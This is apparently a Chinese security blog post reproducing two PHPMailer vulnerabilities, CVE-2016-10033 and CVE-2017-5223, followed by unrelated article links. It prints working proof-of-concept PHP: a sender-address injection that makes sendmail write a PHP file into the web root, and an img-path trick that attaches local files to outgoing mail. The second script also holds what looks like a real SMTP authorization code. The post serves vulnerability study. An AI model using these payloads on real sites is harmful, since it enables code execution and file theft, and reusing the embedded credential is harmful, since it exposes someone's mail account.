今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录一下。

PHPMailer 命令执行漏洞(CVE-2016-10033)

漏洞编号:CVE-2016-10033

影响版本:PHPMailer< 5.2.18

漏洞级别: 高危

漏洞POC:

<?php /*
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
A simple PoC (working on Sendmail MTA)
It will inject the following parameters to sendmail command:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:
09607 <<< --b1_cb4566aa51be9f090d9419163e492306
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?> 09607 <<<
09607 <<<
09607 <<<
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--
See the full advisory URL for details.
*/ // Attacker's input coming from untrusted source such as $_GET , $_POST etc. // For example from a Contact form $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
$msg_body = "<?php phpinfo(); ?>"; // ------------------ // mail() param injection via the vulnerability in PHPMailer require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()" $mail->SetFrom($email_from, 'Client Name');
$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");
$mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo;
} else { echo "Message sent!\n";
}

PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

漏洞编号: CVE-2017-5223

影响版本: PHPMailer <= 5.2.21

漏洞级别: 高危

漏洞POC:根据作者的POC改了几行,使其适用于qq邮箱

<?php
#Author:Yxlink require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->isSMTP();
$mail->Host = 'smtp.qq.com';
$mail->Port = 465;
$mail->SMTPAuth = true;
$mail->Username = xxxx@qq.com'; //qq邮箱
$mail->Password = 'zsuhxbmsaioxbcgb';//申请配置邮件客户端获取到的16位密码和qq密码不一样
$mail->SMTPSecure = 'ssl'; $mail->CharSet = "UTF-8";
$mail->Encoding = "base64"; $mail->Subject = "hello";
$mail->From = "xxxx@qq.com";
$mail->FromName = "test"; $address = "xxxx@qq.com";
$mail->AddAddress($address, "test"); $mail->AddAttachment('test.txt','test.txt');
$mail->IsHTML(true);
$msg="<img src='D:\\1.txt'>test";
$mail->msgHTML($msg); if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
?>

 

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

参考文章:

PHPMailer任意文件读取漏洞分析(CVE-2017-5223)http://www.freebuf.com/vuls/124820.html

PHPMailer 命令执行漏洞(CVE-2016-10033)分析 http://blog.csdn.net/wyvbboy/article/details/53969278

PHPMailer命令执行及任意文件读取漏洞的更多相关文章

  1. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  2. 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  3. 【代码审计】XYHCMS V3.5任意文件读取漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  4. 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  5. 24.Windows任意文件读取漏洞

    漏洞概述: 近日,国外安全研究员SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC.这是2018年8月开始该研究员公布的第三个windows 0 day漏洞 ...

  6. Atlassian Confluence任意文件读取漏洞

    Atlassian Confluence Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi.该软件可实现团队成员之 ...

  7. Resin任意文件读取漏洞

    Resin是什么 虽然看不上但是还是原因下百度百科: Resin是CAUCHO公司的产品,是一个非常流行的支持servlets和jsp的引擎,速度非常快.Resin本身包含了一个支持HTTP/1.1的 ...

  8. 代码审计-MetInfo CMS任意文件读取漏洞

    0x01 代码分析 发现在app\system\include\module\old_thumb.class.php疑似有任意文件读取漏洞 public function doshow(){ glob ...

  9. Natas7 Writeup(任意文件读取漏洞)

    Natas7: 页面出现了两个选项,点击后跳转,观察url发现了page参数,猜测可能存在任意文件读取漏洞. 且源码给了提示,密码在/etc/natas_webpass/natas8 中. 将/etc ...

随机推荐

  1. jquery 回车事件实现代码

    // 键盘事件 1.keydown()  keydown事件会在键盘按下时触发. 2.keyup()  keyup事件会在按键释放时触发,也就是你按下键盘起来后的事件 3.keypress()  ke ...

  2. Navi.Soft31.WinCE框架.开发手册(含下载地址)

    1.概述 1.1应用场景 随着物联网的普及,越来越多的制造商对货品从原料配备,加工生产,销售出库等环节的要求和把控越来越高.在此情况之下,传统的ERP软件已经无法满足现有的操作流程. 移动设备的应用, ...

  3. jQuery源码学习扒一扒jQuery对象初使化

    神奇的jQuery可以这样玩jQuery("#id").css()或 jQuery("#id").html() 这么玩jQuery("#id" ...

  4. FPGA中的时序分析(三)

    验证公式正确性   前两篇博客提及了关于时序的建立余量和保持余量的计算.结合实际情况,验证公式的运算正确性.结合之前博客提及的LED实验,看一下建立余量和保持余量是否都合格. 建立余量 图1是最大时钟 ...

  5. SpannableString属性详解

    1.BackgroundColorSpan 背景色     2.ClickableSpan 文本可点击,有点击事件    3.ForegroundColorSpan 文本颜色(前景色)    4.Ma ...

  6. 关于Unity中的光照(二)

    光源 1: 光照的本质:就是光的颜色和物体纹理的颜色的混合;2: 光源类型: 点光源,定向光源,聚光灯, 区域光源; 区域光的范围会在场景中用黄色的光显示出来; z轴是光的方向; 光的强度会随距离衰减 ...

  7. Selenium清空列数据

    org.openqa.selenium.InvalidElementStateException: invalid element state: Element must be user-editab ...

  8. matlab中的常用的函数——在稀疏表示中学习到的

    1, 矩阵的逆: inv()函数: 2. 矩阵的伪逆: pinv()函数: 3. 矩阵的克罗内克尔积: kron()函数: 4. 得到一个dct变换的字典: dctmtx()函数, 它可以得到一个 n ...

  9. Spring系列(四):Spring AOP详解和实现方式(xml配置和注解配置)

    参考文章:http://www.cnblogs.com/hongwz/p/5764917.html 一.什么是AOP AOP(Aspect Oriented Programming),即面向切面编程, ...

  10. e864. 取的显示器大小尺寸

    See also e670 缓冲图像转换为图像. try { Robot robot = new Robot(); // Capture a particular area on the screen ...